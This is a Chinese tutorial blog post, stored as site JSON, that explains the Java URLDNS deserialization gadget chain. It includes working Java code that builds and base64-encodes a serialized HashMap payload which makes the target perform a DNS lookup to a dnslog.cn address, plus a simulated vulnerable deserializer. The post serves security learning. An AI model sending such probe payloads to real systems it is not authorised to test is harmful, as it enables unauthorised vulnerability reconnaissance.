[{"data":1,"prerenderedAt":348},["ShallowReactive",2],{"\u002Fposts\u002F6a99716":3,"surround-\u002Fposts\u002F6a99716":337},{"id":4,"title":5,"body":6,"categories":311,"date":313,"description":314,"draft":315,"extension":316,"image":317,"meta":318,"navigation":320,"path":321,"permalink":321,"published":322,"readingTime":323,"recommend":328,"references":322,"seo":329,"sitemap":330,"stem":331,"tags":332,"type":335,"updated":313,"__hash__":336},"content\u002Fposts\u002F2026\u002FJava反序列化-URLDNS链.md","Java反序列化-URLDNS链",{"type":7,"value":8,"toc":291},"minimark",[9,14,21,26,29,32,43,46,49,54,68,74,80,84,98,104,114,118,128,134,145,152,156,162,173,179,185,199,202,205,208,215,221,227,237,243,246,253,257,263,266,274,277,283,286],[10,11,13],"h1",{"id":12},"urldns","URLDNS",[15,16,17],"blockquote",{},[18,19,20],"p",{},"本文参考Deepseek编写。环境是IDEA + JDK1.8.0_492。",[22,23,25],"h2",{"id":24},"urldns介绍","URLDNS介绍",[18,27,28],{},"URLDNS 链是 ysoserial 工具中的一条反序列化利用链。URLDNS通过反序列化过程触发一次DNS请求，常被用来检测是否存在Java反序列化漏洞（不出网的检测不到）。不限制JDK版本，使用Java内置的类，对第三方依赖没有要求。",[22,30,31],{"id":31},"调用链",[33,34,40],"pre",{"className":35,"code":37,"language":38,"meta":39},[36],"language-java","HashMap.readObject()\n    ↓\nHashMap.putVal()（对每个键值对调用）\n    ↓\nHashMap.hash(key)（计算键的哈希值）\n    ↓\nkey.hashCode() → URL.hashCode()（如果 key 是 URL 对象）\n    ↓\nhandler.hashCode(this)（handler 为 URLStreamHandler 实例）\n    ↓\ngetHostAddress(u) → InetAddress.getByName(host)（触发 DNS 查询）\n","java","",[41,42,37],"code",{"__ignoreMap":39},[18,44,45],{},"URLDNS链的触发逻辑是利用HashMap在反序列化时会计算键的哈希值，而计算URL对象的哈希值会触发域名解析。",[22,47,48],{"id":48},"详细分析",[50,51,53],"h3",{"id":52},"_1入口点hashmapreadobject","1.入口点：HashMap.readObject()",[18,55,56,59,60,63,64,67],{},[41,57,58],{"code":58},"java.util.HashMap"," 实现了 ",[41,61,62],{"code":62},"Serializable"," 接口并重写了 ",[41,65,66],{"code":66},"readObject"," 方法。在反序列化过程中，HashMap 会遍历读取所有序列化存储的键值对，并重新计算每个键的哈希值以重建哈希表：",[33,69,72],{"className":70,"code":71,"language":38,"meta":39},[36],"    \u002F\u002F这里只放关键代码\n    for(int var9 = 0; var9 \u003C var4; ++var9) {\n        Object var10 = var1.readObject();\n        Object var11 = var1.readObject();\n        this.putVal(hash(var10), var10, var11, false, false);\n    }\n",[41,73,71],{"__ignoreMap":39},[18,75,76,77],{},"注意这个",[41,78,79],{"code":79},"hash(var10)",[50,81,83],{"id":82},"_2哈希计算-hashmaphash","2.哈希计算: HashMap.hash()",[18,85,86,89,90,93,94,97],{},[41,87,88],{"code":88},"hash","方法会调用",[41,91,92],{"code":92},"hashCode","方法，注意",[41,95,96],{"code":96},"var0.hashCode()","。",[33,99,102],{"className":100,"code":101,"language":38,"meta":39},[36],"    static final int hash(Object var0) {\n        int var1;\n        return var0 == null ? 0 : (var1 = var0.hashCode()) ^ var1 >>> 16;\n    }\n",[41,103,101],{"__ignoreMap":39},[18,105,106,107,110,111,97],{},"如果",[41,108,109],{"code":109},"var0","是URL对象，那么此处就会调用",[41,112,113],{"code":113},"URL.hashCode()",[50,115,117],{"id":116},"_3触发dns查询urlhashcode","3.触发DNS查询：URL.hashCode()",[18,119,120,121,124,125,97],{},"倘若",[41,122,123],{"code":123},"hashCode!=1","不成立，就会调用",[41,126,127],{"code":127},"this.handler.hashCode(this)",[33,129,132],{"className":130,"code":131,"language":38,"meta":39},[36],"    public synchronized int hashCode() {\n        if (this.hashCode != -1) {\n            return this.hashCode;\n        } else {\n            this.hashCode = this.handler.hashCode(this);\n            return this.hashCode;\n        }\n    }\n",[41,133,131],{"__ignoreMap":39},[18,135,136,137,140,141,144],{},"handler的定义是",[41,138,139],{"code":139},"transient URLStreamHandler handler; ","，它是一个",[41,142,143],{"code":143},"URLStreamHandler","类。",[18,146,147,148,151],{},"这时又触发",[41,149,150],{"code":150},"URLStreamHandler.hashCode","方法",[50,153,155],{"id":154},"_4dns查询请求urlstreamhandlerhashcode","4.DNS查询请求：URLStreamHandler.hashCode()",[33,157,160],{"className":158,"code":159,"language":38,"meta":39},[36],"protected int hashCode(URL var1) {\n        int var2 = 0;\n        String var3 = var1.getProtocol();\n        if (var3 != null) {\n            var2 += var3.hashCode();\n        }\n\n        InetAddress var4 = this.getHostAddress(var1);\n    \u002F\u002F...\n    \u002F\u002F...\n    \u002F\u002F省略下面代码\n    \u002F\u002F...\n    \u002F\u002F...\n",[41,161,159],{"__ignoreMap":39},[18,163,164,165,168,169,172],{},"追踪",[41,166,167],{"code":167},"this.getHostAddress",",发现又回到了",[41,170,171],{"code":171},"URL.getHostAddress","，",[33,174,177],{"className":175,"code":176,"language":38,"meta":39},[36],"protected InetAddress getHostAddress(URL var1) {\n        return var1.getHostAddress();\n    }\n",[41,178,176],{"__ignoreMap":39},[33,180,183],{"className":181,"code":182,"language":38,"meta":39},[36]," synchronized InetAddress getHostAddress() {\n        if (this.hostAddress != null) {\n            return this.hostAddress;\n        } else if (this.host != null && !this.host.isEmpty()) {\n            try {\n                this.hostAddress = InetAddress.getByName(this.host);\n            } catch (SecurityException | UnknownHostException var2) {\n                return null;\n            }\n\n            return this.hostAddress;\n        } else {\n            return null;\n        }\n    }\n",[41,184,182],{"__ignoreMap":39},[18,186,187,190,191,194,195,198],{},[41,188,189],{"code":189},"this.hostAddress = InetAddress.getByName(this.host);","这个语句会解析",[41,192,193],{"code":193},"host","的",[41,196,197],{"code":197},"ip","地址，至此会触发DNS查询。",[22,200,201],{"id":201},"实现",[50,203,204],{"id":204},"核心实现",[18,206,207],{},"最核心的实现只有下面的几行代码",[18,209,210,211,214],{},"先进DNSLog",[41,212,213],{"code":213},"http:\u002F\u002Fwww.dnslog.cn\u002F",",Get SubDomain。",[33,216,219],{"className":217,"code":218,"language":38,"meta":39},[36],"HashMap map=new HashMap();\nURL url = new URL(\"http:\u002F\u002Fh6fkk9.dnslog.cn\");\nmap.put(url, \"test\");\n",[41,220,218],{"__ignoreMap":39},[18,222,223,226],{},[41,224,225],{"code":225},"put","的时候会触发。",[18,228,229,230,233,234,97],{},"放在",[41,231,232],{"code":232},"main","跑一下，再回DNSLog Refresh Record，",[41,235,236],{"code":236},"会发现多个很多记录，代表触发了",[33,238,241],{"className":239,"code":240,"language":38,"meta":39},[36],"import java.lang.reflect.Field;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.util.HashMap;\n\npublic class Main {\n    public static void main(String[] args) throws MalformedURLException {\n        HashMap map=new HashMap();\n        URL url = new URL(\"http:\u002F\u002Fh6fkk9.dnslog.cn\");\n        map.put(url, \"test\");\n    }\n}\n\n",[41,242,240],{"__ignoreMap":39},[50,244,245],{"id":245},"序列化与反序列化实现",[18,247,248,249,252],{},"URLDNS链主要是用来测反序列化漏洞，所以还需要额外处理。为了方便，我直接用",[41,250,251],{"code":251},"base64输出","而不是文件。",[254,255,256],"h4",{"id":256},"序列化",[33,258,261],{"className":259,"code":260,"language":38,"meta":39},[36],"import java.io.*;\nimport java.lang.reflect.Field;\nimport java.net.URL;\nimport java.util.Base64;\nimport java.util.HashMap;\n\npublic class Main {\n    public static void main(String[] args) throws Exception{\n        \u002F\u002F 1. 创建 HashMap 和 URL 对象\n        HashMap\u003CURL, String> map = new HashMap\u003C>();\n        \u002F\u002F 替换为你自己的 DNSLog 地址\n        URL url = new URL(\"http:\u002F\u002Fh75jv0.dnslog.cn\");\n\n        \u002F\u002F 2. 关键：通过反射修改 URL 的 hashCode，避免在本地 put 时触发 DNS 请求, 影响判断。\n        Field hashCodeField = Class.forName(\"java.net.URL\").getDeclaredField(\"hashCode\");\n        hashCodeField.setAccessible(true); \u002F\u002F使其允许访问private成员： private int hashCode;\n\n        \u002F\u002F 先设为非 -1，这样 put 的时候就不会触发 DNS 查询\n        hashCodeField.set(url, 666);\n\n        map.put(url, \"test\");\n\n        \u002F\u002F 3. put 完之后，再把 hashCode 改回 -1\n        \u002F\u002F 这样序列化传输过去后，对方反序列化时 hashCode 是 -1，就会触发 DNS 查询\n        hashCodeField.set(url, -1);\n\n        \u002F\u002F 4.输出base64编码的序列化数据\n        ByteArrayOutputStream baos=new ByteArrayOutputStream();\n        ObjectOutputStream oos=new ObjectOutputStream(baos);\n        oos.writeObject(map);\n        oos.flush();\n\n        byte[] sdata=baos.toByteArray();\n        System.out.println(Base64.getEncoder().encodeToString(sdata));\n    }\n}\n",[41,262,260],{"__ignoreMap":39},[18,264,265],{},"输出得到base64数据",[33,267,272],{"className":268,"code":270,"language":271},[269],"language-text","rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa\u002FORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F3QAEDBwOWg1OS5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQABHRlc3R4\n","text",[41,273,270],{"__ignoreMap":39},[254,275,276],{"id":276},"反序列化",[33,278,281],{"className":279,"code":280,"language":38,"meta":39},[36],"import java.io.ByteArrayInputStream;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.ObjectInputStream;\nimport java.util.Base64;\n\npublic class Vul {\n    public static void main(String[] args) throws IOException, ClassNotFoundException {\n        String b64Input=\"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa\u002FORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F3QAEDBwOWg1OS5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQABHRlc3R4\";\n        byte[] data= Base64.getDecoder().decode(b64Input);\n        ByteArrayInputStream bais=new ByteArrayInputStream(data);\n        \u002F\u002F反序列化\n        ObjectInputStream ois=new ObjectInputStream(bais);\n        ois.readObject();\n        ois.close();\n    }\n}\n",[41,282,280],{"__ignoreMap":39},[18,284,285],{},"反序列化的代码是模拟有反序列化漏洞的Java服务程序的。",[18,287,288,290],{},[41,289,66],{"code":66},"反序列化base64编码的序列化数据的时候就会触发DNS请求，在DNSLog进行判断。",{"title":39,"searchDepth":292,"depth":292,"links":293},4,[294,296,297,304],{"id":24,"depth":295,"text":25},2,{"id":31,"depth":295,"text":31},{"id":48,"depth":295,"text":48,"children":298},[299,301,302,303],{"id":52,"depth":300,"text":53},3,{"id":82,"depth":300,"text":83},{"id":116,"depth":300,"text":117},{"id":154,"depth":300,"text":155},{"id":201,"depth":295,"text":201,"children":305},[306,307],{"id":204,"depth":300,"text":204},{"id":245,"depth":300,"text":245,"children":308},[309,310],{"id":256,"depth":292,"text":256},{"id":276,"depth":292,"text":276},[312],"内网渗透","2026-05-19 17:14:30","Java反序列化入门学习。",false,"md","https:\u002F\u002Fimg.sky233.top\u002Fimg\u002F2026\u002F05\u002Fcf2c67e25c175e7f2deeb93a8007b2084ac54ee20e4cc0eb70e35c253ec5e6c3.png",{"slots":319},{},true,"\u002Fposts\u002F6a99716",null,{"text":324,"minutes":325,"time":326,"words":327},"5 min read",4.695,281700,939,1,{"title":5,"description":314},{"loc":321},"posts\u002F2026\u002FJava反序列化-URLDNS链",[13,333,312,334],"Java反序列化","Java安全","tech","C54ISPiCr1J7AqPH8NTbrnRNBx8bwKR1KIgr-P6QKno",[338,343],{"title":339,"path":340,"stem":341,"date":342,"type":335,"children":-1},"渗透学习笔记-春秋云镜-Aoselu-flag1,2","\u002Fposts\u002F8cbed0f","posts\u002F2026\u002F渗透学习笔记-春秋云镜-Aoselu(flag1,2)","2026-05-09 11:17:48",{"title":344,"path":345,"stem":346,"date":347,"type":335,"children":-1},"🚲旧博客内容恢复","\u002F2024","posts\u002F2024\u002F旧博客内容恢复","2024-05-12",1779182587505]